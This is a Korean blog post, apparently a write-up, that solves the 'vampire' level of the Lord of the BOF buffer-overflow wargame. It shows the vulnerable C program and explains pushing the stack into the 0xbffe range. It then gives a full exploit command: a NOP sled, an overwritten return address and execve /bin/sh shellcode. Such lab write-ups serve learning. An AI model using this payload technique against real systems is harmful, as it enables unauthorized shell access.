SMALL
Проверьте исходный код!!
[troll@localhost troll]$ cat vampire.c
/*
The Lord of the BOF : The Fellowship of the BOF
- vampire
- check 0xbfff
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// here is changed!
if(argv[1][46] == '\xff')
{
printf("but it's not forever\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
오 뭔가 코드가 좀 짧아졌네요
어 근데 새로운 게 추가됐네요
// here is changed!
if(argv[1][46] == '\xff')
{
printf("but it's not forever\n");
exit(0);
}
인자의 47번째 값이 \xff면 프로그램이 종료된다라..
원래는 0xbfff____ 영역에서 RET에 덮어씌웠지만 이번엔 0xbffe____ 영역에서 RET에 덮어씌워야 하네요
스택은 높은 주소에서 낮은 주소로 자라기 때문에 스택이 커질수록 낮은 주소를 사용해야 합니다
한 번 NOP을 10만 개 정도 넣은 후 스택의 주소가 어떻게 되는지 확인해보겠습니다
gdb 고고!!
이제 주소를 확인해 봅시당
오 진짜로 스택의 주소가 0 xbffe____로 바뀌었네요
대략 0xbffe7478을 RET에 덮어씌우고 쉘코드를 넣도록 하겠습니다
이제 페이로드를 짜봅시당
Payload = ./vampire $(python -c 'print "\x90"*44 + "\x78\x74\xfe\xbf" + "\x90"*100000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
LIST
'Pwnable > LOB' 카테고리의 다른 글
[LOB] skeleton 문제 풀이!!!!! (4) | 2022.05.26 |
---|---|
[LOB] vampire 문제 풀이!! (0) | 2022.05.19 |
[LOB] orge 문제 풀이!!!! (2) | 2022.05.15 |
[LOB] darkelf 문제 풀이!!!!! (0) | 2022.05.13 |
[LOB] wolfman 문제 풀이!!!! (0) | 2022.05.13 |